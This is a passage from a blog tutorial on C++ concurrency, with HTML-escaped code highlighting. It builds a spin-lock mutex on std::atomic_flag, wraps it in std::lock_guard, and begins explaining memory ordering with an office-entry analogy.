    &lt;span class="n"&gt;UnLOLText&lt;/span&gt; &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"hEy How aRe yoU dOinG!"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;tab1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;UnLOLText&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;tab2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;UnLOLText&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ToLower&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;tab1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;tab2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Concurrent random: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Reset&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt; you can set the flag as soon as one of the
threads select a routine and then clear it only after the entire
modification is done. So, using &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt; you’re randomly
selecting a thread and blocking all the rest.&lt;/p&gt;

&lt;p&gt;This almost sounds like what &lt;code class="language-plaintext highlighter-rouge"&gt;std::mutex&lt;/code&gt; does right? In fact, using
&lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt; you can implement your own mutex object.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CustomMutex&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;CustomMutex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ATOMIC_FLAG_INIT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;test_and_set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_seq_cst&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_release&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic_flag&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UnLOLText&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="n"&gt;UnLOLText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toupper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToLower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unlock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Reset&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;friend&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;UnLOLText&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nl"&gt;private:&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;CustomMutex&lt;/span&gt; &lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And since you’re so far, you can even just reap the benefits of
&lt;code class="language-plaintext highlighter-rouge"&gt;std::lock_guard&lt;/code&gt; for locking and unlocking the mutex for you. Remember,
&lt;code class="language-plaintext highlighter-rouge"&gt;std::lock_guard&lt;/code&gt; is based on RAII principles, so you get a
exception-safe guarantee that no matter what the rest of the code does
(except deadlock) your mutex will get unlocked.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UnLOLText&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;

    &lt;span class="n"&gt;UnLOLText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;CustomMutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toupper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;ToLower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;CustomMutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tolower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Reset&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;modify_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;friend&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;operator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;UnLOLText&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;thread_sleep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;modify_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;username_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;CustomMutex&lt;/span&gt; &lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Big deal, right? We just reinvented something that is already provided
by the C++ standard library. And I guarantee they’ve a better
implementation of the mutex. So, what can we extra out of working at
such low level?&lt;/p&gt;

&lt;p&gt;With &lt;code class="language-plaintext highlighter-rouge"&gt;std::atomic_flag&lt;/code&gt; you must’ve noticed we use
&lt;code class="language-plaintext highlighter-rouge"&gt;std::memory_order_seq_cst&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;std::memory_order_release&lt;/code&gt;, what are
they? They specify the memory ordering of operations. Let take the red
pill and follow down the memory ordering hole.&lt;/p&gt;

&lt;h3 id="memory-ordering"&gt;Memory ordering&lt;/h3&gt;

&lt;p&gt;This is probably the weirdest topic you’ll encounter as a programmer, as
this will put some doubts over your knowledge of how you thought
instructions execute at the lower level.&lt;/p&gt;

&lt;p&gt;First lets take a look at all types of memory orderings possible. Memory
orderings are classified for 3 major classes of operations&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Store&lt;/strong&gt; : &lt;code class="language-plaintext highlighter-rouge"&gt;seq_cst&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;release&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;relaxed&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Load&lt;/strong&gt; : &lt;code class="language-plaintext highlighter-rouge"&gt;seq_cst&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;acquire&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;consume&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;relaxed&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Exchange&lt;/strong&gt; : &lt;code class="language-plaintext highlighter-rouge"&gt;seq_cst&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;acq_rel&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;acquire&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;release&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;consume&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;relaxed&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If we think in terms of different memory models available, we can
classify these operations as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Default&lt;/strong&gt; : &lt;code class="language-plaintext highlighter-rouge"&gt;seq_cst&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Unordered&lt;/strong&gt; : &lt;code class="language-plaintext highlighter-rouge"&gt;relaxed&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Lock based&lt;/strong&gt; : &lt;code class="language-plaintext highlighter-rouge"&gt;acquire&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;consume&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;release&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;acq_rel&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You’re already familiar with sequentially consistent (&lt;code class="language-plaintext highlighter-rouge"&gt;seq_cst&lt;/code&gt;) for this
is what you’ve been doing all your life. You see a piece of code and you
follows through the lines of code top to bottom, because that’s how the
execution works, right? Let’s see.&lt;/p&gt;

&lt;p&gt;Let’s say there’s new trend that every awesome software company is
following. They have placed a coffee machine and a fedora hat machine at
the entrance lobby. And they require every employee to have a fedora hat
on their heads or a cup of coffee in their hands to enter the office.
They certainly like whe the employee gets both the items. According to a
survey this allegedly increases the hip level of the employee and brings
more energy and productivity in the office. Say each of these items
increment the employee’s hip level by 1.&lt;/p&gt;

&lt;p&gt;So company A tries to implement this with the default memory model. They
noticed that some employees prefer wearing the hat first and then
holding the coffee, while other hold the coffee first and then wear the
hat. So they have two security systems, one that waits until employee
wears a hat and then it checks if the employee also has a coffee. The
second one does completely opposite, it first waits for the employee to
hold the coffee and then checks if the employee also has a hat on. After
both the security systems have reported back, the doors decides
whether to grant entry or not.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;defult&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
